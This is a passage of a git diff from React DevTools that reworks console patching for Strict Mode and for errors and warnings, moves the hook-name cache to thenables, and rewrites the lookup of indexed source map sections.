-          const [arg] = args.splice(argumentsPointer, 1);
-          template += parseInt(arg, 10).toString();
-
-          break;
-        }
-        case 'f': {
-          const [arg] = args.splice(argumentsPointer, 1);
-          template += parseFloat(arg).toString();
-
-          break;
-        }
-        case 's': {
-          const [arg] = args.splice(argumentsPointer, 1);
-          template += arg.toString();
-        }
-      }
-    }
-
-    return [template, ...args];
-  }
-
-  let unpatchFn = null;
-
-  // NOTE: KEEP IN SYNC with src/backend/console.js:patchForStrictMode
-  // This function hides or dims console logs during the initial double renderer
-  // in Strict Mode. We need this function because during initial render,
-  // React and DevTools are connecting and the renderer interface isn't avaiable
-  // and we want to be able to have consistent logging behavior for double logs
-  // during the initial renderer.
-  function patchConsoleForInitialCommitInStrictMode(
-    hideConsoleLogsInStrictMode: boolean,
-  ) {
-    const overrideConsoleMethods = [
-      'error',
-      'group',
-      'groupCollapsed',
-      'info',
-      'log',
-      'trace',
-      'warn',
-    ];
-
-    if (unpatchFn !== null) {
-      // Don't patch twice.
-      return;
-    }
-
-    const originalConsoleMethods: {[string]: $FlowFixMe} = {};
-
-    unpatchFn = () => {
-      for (const method in originalConsoleMethods) {
-        try {
-          targetConsole[method] = originalConsoleMethods[method];
-        } catch (error) {}
-      }
-    };
-
-    overrideConsoleMethods.forEach(method => {
-      try {
-        const originalMethod = (originalConsoleMethods[method] = targetConsole[
-          method
-        ].__REACT_DEVTOOLS_STRICT_MODE_ORIGINAL_METHOD__
-          ? targetConsole[method].__REACT_DEVTOOLS_STRICT_MODE_ORIGINAL_METHOD__
-          : targetConsole[method]);
-
-        const overrideMethod = (...args: $ReadOnlyArray<any>) => {
-          // Dim the text color of the double logs if we're not hiding them.
-          if (!hideConsoleLogsInStrictMode) {
-            // Firefox doesn't support ANSI escape sequences
-            if (__IS_FIREFOX__) {
-              originalMethod(
-                ...formatWithStyles(args, FIREFOX_CONSOLE_DIMMING_COLOR),
-              );
-            } else {
-              originalMethod(
-                ANSI_STYLE_DIMMING_TEMPLATE,
-                ...formatConsoleArguments(...args),
-              );
-            }
-          }
-        };
-
-        overrideMethod.__REACT_DEVTOOLS_STRICT_MODE_ORIGINAL_METHOD__ =
-          originalMethod;
-        originalMethod.__REACT_DEVTOOLS_STRICT_MODE_OVERRIDE_METHOD__ =
-          overrideMethod;
-
-        targetConsole[method] = overrideMethod;
-      } catch (error) {}
-    });
-  }
-
-  // NOTE: KEEP IN SYNC with src/backend/console.js:unpatchForStrictMode
-  function unpatchConsoleForInitialCommitInStrictMode() {
-    if (unpatchFn !== null) {
-      unpatchFn();
-      unpatchFn = null;
-    }
-  }
-
+  // TODO: isProfiling should be stateful, and we should update it once profiling is finished
+  const isProfiling = shouldStartProfilingNow;
   let uidCounter = 0;
-
   function inject(renderer: ReactRenderer): number {
     const id = ++uidCounter;
     renderers.set(id, renderer);
 
-    const reactBuildType = hasDetectedBadDCE
+    const reactBuildType: ReactBuildType = hasDetectedBadDCE
       ? 'deadcode'
       : detectReactBuildType(renderer);
 
-    // Patching the console enables DevTools to do a few useful things:
-    // * Append component stacks to warnings and error messages
-    // * Disabling or marking logs during a double render in Strict Mode
-    // * Disable logging during re-renders to inspect hooks (see inspectHooksOfFiber)
-    //
-    // Allow patching console early (during injection) to
-    // provide developers with components stacks even if they don't run DevTools.
-    if (target.hasOwnProperty('__REACT_DEVTOOLS_CONSOLE_FUNCTIONS__')) {
-      const {registerRendererWithConsole, patchConsoleUsingWindowValues} =
-        target.__REACT_DEVTOOLS_CONSOLE_FUNCTIONS__;
-      if (
-        typeof registerRendererWithConsole === 'function' &&
-        typeof patchConsoleUsingWindowValues === 'function'
-      ) {
-        registerRendererWithConsole(renderer);
-        patchConsoleUsingWindowValues();
-      }
-    }
-
-    // If we have just reloaded to profile, we need to inject the renderer interface before the app loads.
-    // Otherwise the renderer won't yet exist and we can skip this step.
-    const attach = target.__REACT_DEVTOOLS_ATTACH__;
-    if (typeof attach === 'function') {
-      const rendererInterface = attach(hook, id, renderer, target);
-      hook.rendererInterfaces.set(id, rendererInterface);
-    }
-
     hook.emit('renderer', {
       id,
       renderer,
       reactBuildType,
     });
 
+    const rendererInterface = attachRenderer(
+      hook,
+      id,
+      renderer,
+      target,
+      isProfiling,
+      profilingSettings,
+      componentFiltersOrComponentFiltersPromise,
+    );
+    if (rendererInterface != null) {
+      hook.rendererInterfaces.set(id, rendererInterface);
+      hook.emit('renderer-attached', {id, rendererInterface});
+    } else {
+      hook.hasUnsupportedRendererAttached = true;
+      hook.emit('unsupported-renderer-version');
+    }
+
     return id;
   }
 
@@ -479,28 +320,90 @@ export function installHook(target: any): DevToolsHook | null {
     }
   }
 
-  function setStrictMode(rendererID: RendererID, isStrictMode: any) {
-    const rendererInterface = rendererInterfaces.get(rendererID);
-    if (rendererInterface != null) {
-      if (isStrictMode) {
-        rendererInterface.patchConsoleForStrictMode();
-      } else {
-        rendererInterface.unpatchConsoleForStrictMode();
-      }
+  let isRunningDuringStrictModeInvocation = false;
+  function setStrictMode(rendererID: RendererID, isStrictMode: boolean) {
+    isRunningDuringStrictModeInvocation = isStrictMode;
+
+    if (isStrictMode) {
+      patchConsoleForStrictMode();
     } else {
-      // This should only happen during initial commit in the extension before DevTools
-      // finishes its handshake with the injected renderer
-      if (isStrictMode) {
-        const hideConsoleLogsInStrictMode =
-          window.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ === true;
-
-        patchConsoleForInitialCommitInStrictMode(hideConsoleLogsInStrictMode);
-      } else {
-        unpatchConsoleForInitialCommitInStrictMode();
-      }
+      unpatchConsoleForStrictMode();
     }
   }
 
+  const unpatchConsoleCallbacks = [];
+  // For StrictMode we patch console once we are running in StrictMode and unpatch right after it
+  // So patching could happen multiple times during the runtime
+  // Notice how we don't patch error or warn methods, because they are already patched in patchConsoleForErrorsAndWarnings
+  // This will only happen once, when hook is installed
+  function patchConsoleForStrictMode() {
+    // Don't patch console in case settings were not injected
+    if (!hook.settings) {
+      return;
+    }
+
+    // Don't patch twice
+    if (unpatchConsoleCallbacks.length > 0) {
+      return;
+    }
+
+    // At this point 'error', 'warn', and 'trace' methods are already patched
+    // by React DevTools hook to append component stacks and other possible features.
+    const consoleMethodsToOverrideForStrictMode = [
+      'group',
+      'groupCollapsed',
+      'info',
+      'log',
+    ];
+
+    // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+    for (const method of consoleMethodsToOverrideForStrictMode) {
+      const originalMethod = targetConsole[method];
+      const overrideMethod: (...args: Array<any>) => void = (
+        ...args: any[]
+      ) => {
+        const settings = hook.settings;
+        // Something unexpected happened, fallback to just printing the console message.
+        if (settings == null) {
+          originalMethod(...args);
+          return;
+        }
+
+        if (settings.hideConsoleLogsInStrictMode) {
+          return;
+        }
+
+        if (settings.disableSecondConsoleLogDimmingInStrictMode) {
+          // Don't dim the console logs
+          originalMethod(...args);
+        } else {
+          // Dim the text color of the double logs if we're not hiding them.
+          // Firefox doesn't support ANSI escape sequences
+          if (__IS_FIREFOX__) {
+            originalMethod(
+              ...formatWithStyles(args, FIREFOX_CONSOLE_DIMMING_COLOR),
+            );
+          } else {
+            originalMethod(
+              ANSI_STYLE_DIMMING_TEMPLATE,
+              ...formatConsoleArguments(...args),
+            );
+          }
+        }
+      };
+
+      targetConsole[method] = overrideMethod;
+      unpatchConsoleCallbacks.push(() => {
+        targetConsole[method] = originalMethod;
+      });
+    }
+  }
+
+  function unpatchConsoleForStrictMode() {
+    unpatchConsoleCallbacks.forEach(callback => callback());
+    unpatchConsoleCallbacks.length = 0;
+  }
+
   type StackFrameString = string;
 
   const openModuleRangesStack: Array<StackFrameString> = [];
@@ -530,11 +433,200 @@ export function installHook(target: any): DevToolsHook | null {
       const startStackFrame = openModuleRangesStack.pop();
       const stopStackFrame = getTopStackFrameString(error);
       if (stopStackFrame !== null) {
+        // $FlowFixMe[incompatible-call]
         moduleRanges.push([startStackFrame, stopStackFrame]);
       }
     }
   }
 
+  // For Errors and Warnings we only patch console once
+  function patchConsoleForErrorsAndWarnings() {
+    // Don't patch console in case settings were not injected
+    if (!hook.settings) {
+      return;
+    }
+
+    const consoleMethodsToOverrideForErrorsAndWarnings = [
+      'error',
+      'trace',
+      'warn',
+    ];
+
+    // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+    for (const method of consoleMethodsToOverrideForErrorsAndWarnings) {
+      const originalMethod = targetConsole[method];
+      const overrideMethod: (...args: Array<any>) => void = (...args) => {
+        const settings = hook.settings;
+        // Something unexpected happened, fallback to just printing the console message.
+        if (settings == null) {
+          originalMethod(...args);
+          return;
+        }
+
+        if (
+          isRunningDuringStrictModeInvocation &&
+          settings.hideConsoleLogsInStrictMode
+        ) {
+          return;
+        }
+
+        let injectedComponentStackAsFakeError = false;
+        let alreadyHasComponentStack = false;
+        if (settings.appendComponentStack) {
+          const lastArg = args.length > 0 ? args[args.length - 1] : null;
+          alreadyHasComponentStack =
+            typeof lastArg === 'string' && isStringComponentStack(lastArg); // The last argument should be a component stack.
+        }
+
+        const shouldShowInlineWarningsAndErrors =
+          settings.showInlineWarningsAndErrors &&
+          (method === 'error' || method === 'warn');
+
+        // Search for the first renderer that has a current Fiber.
+        // We don't handle the edge case of stacks for more than one (e.g. interleaved renderers?)
+        // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+        for (const rendererInterface of hook.rendererInterfaces.values()) {
+          const {onErrorOrWarning, getComponentStack} = rendererInterface;
+          try {
+            if (shouldShowInlineWarningsAndErrors) {
+              // patch() is called by two places: (1) the hook and (2) the renderer backend.
+              // The backend is what implements a message queue, so it's the only one that injects onErrorOrWarning.
+              if (onErrorOrWarning != null) {
+                onErrorOrWarning(
+                  ((method: any): 'error' | 'warn'),
+                  args.slice(),
+                );
+              }
+            }
+          } catch (error) {
+            // Don't let a DevTools or React internal error interfere with logging.
+            setTimeout(() => {
+              throw error;
+            }, 0);
+          }
+
+          try {
+            if (settings.appendComponentStack && getComponentStack != null) {
+              // This needs to be directly in the wrapper so we can pop exactly one frame.
+              const topFrame = Error('react-stack-top-frame');
+              const match = getComponentStack(topFrame);
+              if (match !== null) {
+                const {enableOwnerStacks, componentStack} = match;
+                // Empty string means we have a match but no component stack.
+                // We don't need to look in other renderers but we also don't add anything.
+                if (componentStack !== '') {
+                  // Create a fake Error so that when we print it we get native source maps. Every
+                  // browser will print the .stack property of the error and then parse it back for source
+                  // mapping. Rather than print the internal slot. So it doesn't matter that the internal
+                  // slot doesn't line up.
+                  const fakeError = new Error('');
+                  // In Chromium, only the stack property is printed but in Firefox the <name>:<message>
+                  // gets printed so to make the colon make sense, we name it so we print Stack:
+                  // and similarly Safari leave an expandable slot.
+                  if (__IS_CHROME__ || __IS_EDGE__) {
+                    // Before sending the stack to Chrome DevTools for formatting,
+                    // V8 will reconstruct this according to the template <name>: <message><stack-frames>
+                    // https://source.chromium.org/chromium/chromium/src/+/main:v8/src/inspector/value-mirror.cc;l=252-311;drc=bdc48d1b1312cc40c00282efb1c9c5f41dcdca9a
+                    // It has to start with ^[\w.]*Error\b to trigger stack formatting.
+                    fakeError.name = enableOwnerStacks
+                      ? 'Error Stack'
+                      : 'Error Component Stack'; // This gets printed
+                  } else {
+                    fakeError.name = enableOwnerStacks
+                      ? 'Stack'
+                      : 'Component Stack'; // This gets printed
+                  }
+                  // In Chromium, the stack property needs to start with ^[\w.]*Error\b to trigger stack
+                  // formatting. Otherwise it is left alone. So we prefix it. Otherwise we just override it
+                  // to our own stack.
+                  fakeError.stack =
+                    __IS_CHROME__ || __IS_EDGE__ || __IS_NATIVE__
+                      ? (enableOwnerStacks
+                          ? 'Error Stack:'
+                          : 'Error Component Stack:') + componentStack
+                      : componentStack;
+
+                  if (alreadyHasComponentStack) {
+                    // Only modify the component stack if it matches what we would've added anyway.
+                    // Otherwise we assume it was a non-React stack.
+                    if (
+                      areStackTracesEqual(args[args.length - 1], componentStack)
+                    ) {
+                      const firstArg = args[0];
+                      if (
+                        args.length > 1 &&
+                        typeof firstArg === 'string' &&
+                        firstArg.endsWith('%s')
+                      ) {
+                        args[0] = firstArg.slice(0, firstArg.length - 2); // Strip the %s param
+                      }
+                      args[args.length - 1] = fakeError;
+                      injectedComponentStackAsFakeError = true;
+                    }
+                  } else {
+                    args.push(fakeError);
+                    injectedComponentStackAsFakeError = true;
+                  }
+                }
+
+                // Don't add stacks from other renderers.
+                break;
+              }
+            }
+          } catch (error) {
+            // Don't let a DevTools or React internal error interfere with logging.
+            setTimeout(() => {
+              throw error;
+            }, 0);
+          }
+        }
+
+        if (settings.breakOnConsoleErrors) {
+          // --- Welcome to debugging with React DevTools ---
+          // This debugger statement means that you've enabled the "break on warnings" feature.
+          // Use the browser's Call Stack panel to step out of this override function
+          // to where the original warning or error was logged.
+          // eslint-disable-next-line no-debugger
+          debugger;
+        }
+
+        if (
+          isRunningDuringStrictModeInvocation &&
+          !settings.disableSecondConsoleLogDimmingInStrictMode
+        ) {
+          // Dim the text color of the double logs if we're not hiding them.
+          // Firefox doesn't support ANSI escape sequences
+          if (__IS_FIREFOX__) {
+            let argsWithCSSStyles = formatWithStyles(
+              args,
+              FIREFOX_CONSOLE_DIMMING_COLOR,
+            );
+
+            if (injectedComponentStackAsFakeError) {
+              argsWithCSSStyles = [
+                `${argsWithCSSStyles[0]} %o`,
+                ...argsWithCSSStyles.slice(1),
+              ];
+            }
+
+            originalMethod(...argsWithCSSStyles);
+          } else {
+            originalMethod(
+              injectedComponentStackAsFakeError
+                ? ANSI_STYLE_DIMMING_TEMPLATE_WITH_COMPONENT_STACK
+                : ANSI_STYLE_DIMMING_TEMPLATE,
+              ...formatConsoleArguments(...args),
+            );
+          }
+        } else {
+          originalMethod(...args);
+        }
+      };
+
+      targetConsole[method] = overrideMethod;
+    }
+  }
+
   // TODO: More meaningful names for "rendererInterfaces" and "renderers".
   const fiberRoots: {[RendererID]: Set<mixed>} = {};
   const rendererInterfaces = new Map<RendererID, RendererInterface>();
@@ -550,6 +642,7 @@ export function installHook(target: any): DevToolsHook | null {
 
     // Fast Refresh for web relies on this.
     renderers,
+    hasUnsupportedRendererAttached: false,
 
     emit,
     getFiberRoots,
@@ -562,10 +655,14 @@ export function installHook(target: any): DevToolsHook | null {
     // React v16 checks the hook for this to ensure DevTools is new enough.
     supportsFiber: true,
 
+    // React Flight Client checks the hook for this to ensure DevTools is new enough.
+    supportsFlight: true,
+
     // React calls these methods.
     checkDCE,
     onCommitFiberUnmount,
     onCommitFiberRoot,
+    // React v18.0+
     onPostCommitFiberRoot,
     setStrictMode,
 
@@ -577,9 +674,29 @@ export function installHook(target: any): DevToolsHook | null {
     registerInternalModuleStop,
   };
 
-  if (__TEST__) {
-    hook.dangerous_setTargetConsoleForTesting =
-      dangerous_setTargetConsoleForTesting;
+  if (maybeSettingsOrSettingsPromise == null) {
+    // Set default settings
+    hook.settings = {
+      appendComponentStack: true,
+      breakOnConsoleErrors: false,
+      showInlineWarningsAndErrors: true,
+      hideConsoleLogsInStrictMode: false,
+      disableSecondConsoleLogDimmingInStrictMode: false,
+    };
+    patchConsoleForErrorsAndWarnings();
+  } else {
+    Promise.resolve(maybeSettingsOrSettingsPromise)
+      .then(settings => {
+        hook.settings = settings;
+        hook.emit('settingsInitialized', settings);
+
+        patchConsoleForErrorsAndWarnings();
+      })
+      .catch(() => {
+        targetConsole.error(
+          "React DevTools failed to get Console Patching settings. Console won't be patched and some console features will not work.",
+        );
+      });
   }
 
   Object.defineProperty(
diff --git a/packages/react-devtools-shared/src/hookNamesCache.js b/packages/react-devtools-shared/src/hookNamesCache.js
index 89377eebb18f..5a9d1ba7d212 100644
--- a/packages/react-devtools-shared/src/hookNamesCache.js
+++ b/packages/react-devtools-shared/src/hookNamesCache.js
@@ -10,49 +10,41 @@
 import {__DEBUG__} from 'react-devtools-shared/src/constants';
 
 import type {HooksTree} from 'react-debug-tools/src/ReactDebugHooks';
-import type {Thenable, Wakeable} from 'shared/ReactTypes';
+import type {
+  Thenable,
+  FulfilledThenable,
+  RejectedThenable,
+} from 'shared/ReactTypes';
 import type {
   Element,
   HookNames,
-  HookSourceLocationKey,
 } from 'react-devtools-shared/src/frontend/types';
-import type {HookSource} from 'react-debug-tools/src/ReactDebugHooks';
 import type {FetchFileWithCaching} from 'react-devtools-shared/src/devtools/views/Components/FetchFileWithCachingContext';
+
+import * as React from 'react';
+
 import {withCallbackPerfMeasurements} from './PerformanceLoggingUtils';
 import {logEvent} from './Logger';
 
 const TIMEOUT = 30000;
-
-const Pending = 0;
-const Resolved = 1;
-const Rejected = 2;
-
-type PendingRecord = {
-  status: 0,
-  value: Wakeable,
-};
-
-type ResolvedRecord<T> = {
-  status: 1,
-  value: T,
-};
-
-type RejectedRecord = {
-  status: 2,
-  value: null,
-};
-
-type Record<T> = PendingRecord | ResolvedRecord<T> | RejectedRecord;
-
-function readRecord<T>(record: Record<T>): ResolvedRecord<T> | RejectedRecord {
-  if (record.status === Resolved) {
-    // This is just a type refinement.
-    return record;
-  } else if (record.status === Rejected) {
-    // This is just a type refinement.
-    return record;
+function readRecord<T>(record: Thenable<T>): T | null {
+  if (typeof React.use === 'function') {
+    try {
+      // eslint-disable-next-line react-hooks-published/rules-of-hooks
+      return React.use(record);
+    } catch (x) {
+      if (record.status === 'rejected') {
+        return null;
+      }
+      throw x;
+    }
+  }
+  if (record.status === 'fulfilled') {
+    return record.value;
+  } else if (record.status === 'rejected') {
+    return null;
   } else {
-    throw record.value;
+    throw record;
   }
 }
 
@@ -65,11 +57,19 @@ type LoadHookNamesFunction = (
 // Otherwise, refreshing the inspected element cache would also clear this cache.
 // TODO Rethink this if the React API constraints change.
 // See https://github.com/reactwg/react-18/discussions/25#discussioncomment-980435
-let map: WeakMap<Element, Record<HookNames>> = new WeakMap();
+let map: WeakMap<Element, Thenable<HookNames>> = new WeakMap();
 
 export function hasAlreadyLoadedHookNames(element: Element): boolean {
   const record = map.get(element);
-  return record != null && record.status === Resolved;
+  return record != null && record.status === 'fulfilled';
+}
+
+export function getAlreadyLoadedHookNames(element: Element): HookNames | null {
+  const record = map.get(element);
+  if (record != null && record.status === 'fulfilled') {
+    return record.value;
+  }
+  return null;
 }
 
 export function loadHookNames(
@@ -87,10 +87,15 @@ export function loadHookNames(
   }
 
   if (!record) {
-    const callbacks = new Set<() => mixed>();
-    const wakeable: Wakeable = {
-      then(callback: () => mixed) {
+    const callbacks = new Set<(value: any) => mixed>();
+    const rejectCallbacks = new Set<(reason: mixed) => mixed>();
+    const thenable: Thenable<HookNames> = {
+      status: 'pending',
+      value: null,
+      reason: null,
+      then(callback: (value: any) => mixed, reject: (error: mixed) => mixed) {
         callbacks.add(callback);
+        rejectCallbacks.add(reject);
       },
 
       // Optional property used by Timeline:
@@ -99,7 +104,7 @@ export function loadHookNames(
 
     let timeoutID: $FlowFixMe | null;
     let didTimeout = false;
-    let status = 'unknown';
+    let status: 'success' | 'error' | 'timeout' | 'unknown' = 'unknown';
     let resolvedHookNames: HookNames | null = null;
 
     const wake = () => {
@@ -109,7 +114,18 @@ export function loadHookNames(
       }
 
       // This assumes they won't throw.
-      callbacks.forEach(callback => callback());
+      callbacks.forEach(callback => callback((thenable: any).value));
+      callbacks.clear();
+      rejectCallbacks.clear();
+    };
+    const wakeRejections = () => {
+      if (timeoutID) {
+        clearTimeout(timeoutID);
+        timeoutID = null;
+      }
+      // This assumes they won't throw.
+      rejectCallbacks.forEach(callback => callback((thenable: any).reason));
+      rejectCallbacks.clear();
       callbacks.clear();
     };
 
@@ -124,10 +140,7 @@ export function loadHookNames(
       });
     };
 
-    const newRecord: Record<HookNames> = (record = {
-      status: Pending,
-      value: wakeable,
-    });
+    record = thenable;
 
     withCallbackPerfMeasurements(
       'loadHookNames',
@@ -143,20 +156,24 @@ export function loadHookNames(
             }
 
             if (hookNames) {
-              const resolvedRecord =
-                ((newRecord: any): ResolvedRecord<HookNames>);
-              resolvedRecord.status = Resolved;
-              resolvedRecord.value = hookNames;
+              const fulfilledThenable: FulfilledThenable<HookNames> =
+                (thenable: any);
+              fulfilledThenable.status = 'fulfilled';
+              fulfilledThenable.value = hookNames;
+              status = 'success';
+              resolvedHookNames = hookNames;
+              done();
+              wake();
             } else {
-              const notFoundRecord = ((newRecord: any): RejectedRecord);
-              notFoundRecord.status = Rejected;
-              notFoundRecord.value = null;
+              const notFoundThenable: RejectedThenable<HookNames> =
+                (thenable: any);
+              notFoundThenable.status = 'rejected';
+              notFoundThenable.reason = null;
+              status = 'error';
+              resolvedHookNames = hookNames;
+              done();
+              wakeRejections();
             }
-
-            status = 'success';
-            resolvedHookNames = hookNames;
-            done();
-            wake();
           },
           function onError(error) {
             if (didTimeout) {
@@ -169,13 +186,14 @@ export function loadHookNames(
 
             console.error(error);
 
-            const thrownRecord = ((newRecord: any): RejectedRecord);
-            thrownRecord.status = Rejected;
-            thrownRecord.value = null;
+            const rejectedThenable: RejectedThenable<HookNames> =
+              (thenable: any);
+            rejectedThenable.status = 'rejected';
+            rejectedThenable.reason = null;
 
             status = 'error';
             done();
-            wake();
+            wakeRejections();
           },
         );
 
@@ -189,13 +207,13 @@ export function loadHookNames(
 
           didTimeout = true;
 
-          const timedoutRecord = ((newRecord: any): RejectedRecord);
-          timedoutRecord.status = Rejected;
-          timedoutRecord.value = null;
+          const timedoutThenable: RejectedThenable<HookNames> = (thenable: any);
+          timedoutThenable.status = 'rejected';
+          timedoutThenable.reason = null;
 
           status = 'timeout';
           done();
-          wake();
+          wakeRejections();
         }, TIMEOUT);
       },
       handleLoadComplete,
@@ -203,21 +221,10 @@ export function loadHookNames(
     map.set(element, record);
   }
 
-  const response = readRecord(record).value;
+  const response = readRecord(record);
   return response;
 }
 
-export function getHookSourceLocationKey({
-  fileName,
-  lineNumber,
-  columnNumber,
-}: HookSource): HookSourceLocationKey {
-  if (fileName == null || lineNumber == null || columnNumber == null) {
-    throw Error('Hook source code location not found.');
-  }
-  return `${fileName}:${lineNumber}:${columnNumber}`;
-}
-
 export function clearHookNamesCache(): void {
   map = new WeakMap();
 }
diff --git a/packages/react-devtools-shared/src/hookSourceLocation.js b/packages/react-devtools-shared/src/hookSourceLocation.js
new file mode 100644
index 000000000000..a9a3d931bcf3
--- /dev/null
+++ b/packages/react-devtools-shared/src/hookSourceLocation.js
@@ -0,0 +1,22 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {HookSourceLocationKey} from 'react-devtools-shared/src/frontend/types';
+import type {HookSource} from 'react-debug-tools/src/ReactDebugHooks';
+
+export function getHookSourceLocationKey({
+  fileName,
+  lineNumber,
+  columnNumber,
+}: HookSource): HookSourceLocationKey {
+  if (fileName == null || lineNumber == null || columnNumber == null) {
+    throw Error('Hook source code location not found.');
+  }
+  return `${fileName}:${lineNumber}:${columnNumber}`;
+}
diff --git a/packages/react-devtools-shared/src/hooks/SourceMapConsumer.js b/packages/react-devtools-shared/src/hooks/SourceMapConsumer.js
index 779cbb3b2f0d..468905bf8716 100644
--- a/packages/react-devtools-shared/src/hooks/SourceMapConsumer.js
+++ b/packages/react-devtools-shared/src/hooks/SourceMapConsumer.js
@@ -7,7 +7,7 @@
  * @flow
  */
 import {withSyncPerfMeasurements} from 'react-devtools-shared/src/PerformanceLoggingUtils';
-import {decode} from 'sourcemap-codec';
+import {decode} from '@jridgewell/sourcemap-codec';
 
 import type {
   IndexSourceMap,
@@ -24,8 +24,9 @@ type SearchPosition = {
 type ResultPosition = {
   column: number,
   line: number,
-  sourceContent: string,
-  sourceURL: string,
+  sourceContent: string | null,
+  sourceURL: string | null,
+  ignored: boolean,
 };
 
 export type SourceMapConsumerType = {
@@ -46,7 +47,7 @@ export default function SourceMapConsumer(
 
 function BasicSourceMapConsumer(sourceMapJSON: BasicSourceMap) {
   const decodedMappings: Mappings = withSyncPerfMeasurements(
-    'Decoding source map mappings with sourcemap-codec',
+    'Decoding source map mappings with @jridgewell/sourcemap-codec',
     () => decode(sourceMapJSON.mappings),
   );
 
@@ -117,19 +118,15 @@ function BasicSourceMapConsumer(sourceMapJSON: BasicSourceMap) {
     const sourceURL = sourceMapJSON.sources[sourceIndex] ?? null;
     const line = nearestEntry[2] + 1;
     const column = nearestEntry[3];
-
-    if (sourceContent === null || sourceURL === null) {
-      // TODO maybe fall back to the runtime source instead of throwing?
-      throw Error(
-        `Could not find original source for line:${lineNumber} and column:${columnNumber}`,
-      );
-    }
-
+    const ignored =
+      sourceMapJSON.ignoreList != null &&
+      sourceMapJSON.ignoreList.includes(sourceIndex);
     return {
       column,
       line,
-      sourceContent: ((sourceContent: any): string),
-      sourceURL: ((sourceURL: any): string),
+      sourceContent: ((sourceContent: any): string | null),
+      sourceURL: ((sourceURL: any): string | null),
+      ignored,
     };
   }
 
@@ -139,28 +136,36 @@ function BasicSourceMapConsumer(sourceMapJSON: BasicSourceMap) {
 }
 
 type Section = {
-  +generatedColumn: number,
-  +generatedLine: number,
-  +map: MixedSourceMap,
+  +offsetColumn0: number,
+  +offsetLine0: number,
+  +map: BasicSourceMap,
 
   // Lazily parsed only when/as the section is needed.
   sourceMapConsumer: SourceMapConsumerType | null,
 };
 
 function IndexedSourceMapConsumer(sourceMapJSON: IndexSourceMap) {
-  let lastOffset = {
+  let lastOffset: {
+    line: number,
+    column: number,
+    ...
+  } = {
     line: -1,
     column: 0,
   };
 
   const sections: Array<Section> = sourceMapJSON.sections.map(section => {
-    const offset = section.offset;
-    const offsetLine = offset.line;
-    const offsetColumn = offset.column;
+    const offset: {
+      line: number,
+      column: number,
+      ...
+    } = section.offset;
+    const offsetLine0 = offset.line;
+    const offsetColumn0 = offset.column;
 
     if (
-      offsetLine < lastOffset.line ||
-      (offsetLine === lastOffset.line && offsetColumn < lastOffset.column)
+      offsetLine0 < lastOffset.line ||
+      (offsetLine0 === lastOffset.line && offsetColumn0 < lastOffset.column)
     ) {
       throw new Error('Section offsets must be ordered and non-overlapping.');
     }
@@ -168,9 +173,8 @@ function IndexedSourceMapConsumer(sourceMapJSON: IndexSourceMap) {
     lastOffset = offset;
 
     return {
-      // The offset fields are 0-based, but we use 1-based indices when encoding/decoding from VLQ.
-      generatedLine: offsetLine + 1,
-      generatedColumn: offsetColumn + 1,
+      offsetLine0,
+      offsetColumn0,
       map: section.map,
       sourceMapConsumer: null,
     };
@@ -181,55 +185,29 @@ function IndexedSourceMapConsumer(sourceMapJSON: IndexSourceMap) {
     lineNumber,
   }: SearchPosition): ResultPosition {
     // Error.prototype.stack columns are 1-based (like most IDEs) but ASTs are 0-based.
-    const targetColumnNumber = columnNumber - 1;
-
-    let section = null;
-
-    let startIndex = 0;
-    let stopIndex = sections.length - 1;
-    let index = -1;
-    while (startIndex <= stopIndex) {
-      index = Math.floor((stopIndex + startIndex) / 2);
-      section = sections[index];
-
-      const currentLine = section.generatedLine;
-      if (currentLine === lineNumber) {
-        const currentColumn = section.generatedColumn;
-        if (currentColumn === lineNumber) {
-          break;
-        } else {
-          if (currentColumn > targetColumnNumber) {
-            if (stopIndex - index > 0) {
-              stopIndex = index;
-            } else {
-              index = stopIndex;
-              break;
-            }
-          } else {
-            if (index - startIndex > 0) {
-              startIndex = index;
-            } else {
-              index = startIndex;
-              break;
-            }
-          }
-        }
+    const column0 = columnNumber - 1;
+    const line0 = lineNumber - 1;
+
+    // Sections must not overlap and must be sorted: https://tc39.es/source-map/#section-object
+    // Therefore the last section that has an offset less than or equal to the frame is the applicable one.
+    let left = 0;
+    let right = sections.length - 1;
+    let section: Section | null = null;
+
+    while (left <= right) {
+      // fast Math.floor
+      const middle = ~~((left + right) / 2);
+      const currentSection = sections[middle];
+
+      if (
+        currentSection.offsetLine0 < line0 ||
+        (currentSection.offsetLine0 === line0 &&
+          currentSection.offsetColumn0 <= column0)
+      ) {
+        section = currentSection;
+        left = middle + 1;
       } else {
-        if (currentLine > lineNumber) {
-          if (stopIndex - index > 0) {
-            stopIndex = index;
-          } else {
-            index = stopIndex;
-            break;
-          }
-        } else {
-          if (index - startIndex > 0) {
-            startIndex = index;
-          } else {
-            index = startIndex;
-            break;
-          }
-        }
+        right = middle - 1;
       }
     }
 
@@ -247,8 +225,9 @@ function IndexedSourceMapConsumer(sourceMapJSON: IndexSourceMap) {
     }
 
     return section.sourceMapConsumer.originalPositionFor({
-      columnNumber,
-      lineNumber,
+      // The mappings in a Source Map section are relative to the section offset.
+      columnNumber: columnNumber - section.offsetColumn0,
+      lineNumber: lineNumber - section.offsetLine0,
     });
   }
 
diff --git a/packages/react-devtools-shared/src/hooks/SourceMapTypes.js b/packages/react-devtools-shared/src/hooks/SourceMapTypes.js
index 4363180b2455..42389b56b050 100644
--- a/packages/react-devtools-shared/src/hooks/SourceMapTypes.js
+++ b/packages/react-devtools-shared/src/hooks/SourceMapTypes.js
@@ -25,10 +25,11 @@ export type BasicSourceMap = {
   +version: number,
   +x_facebook_sources?: FBSourcesArray,
   +x_react_sources?: ReactSourcesArray,
+  +ignoreList?: Array<number>,
 };
 
 export type IndexSourceMapSection = {
-  map: IndexSourceMap | BasicSourceMap,
+  map: BasicSourceMap,
   offset: {
     line: number,
     column: number,
diff --git a/packages/react-devtools-shared/src/hooks/__tests__/updateMockSourceMaps.js b/packages/react-devtools-shared/src/hooks/__tests__/updateMockSourceMaps.js
index 2e10c7681fef..bdcfe03964bb 100644
--- a/packages/react-devtools-shared/src/hooks/__tests__/updateMockSourceMaps.js
+++ b/packages/react-devtools-shared/src/hooks/__tests__/updateMockSourceMaps.js
@@ -14,7 +14,7 @@ const babel = require('@rollup/plugin-babel').babel;
 const commonjs = require('@rollup/plugin-commonjs');
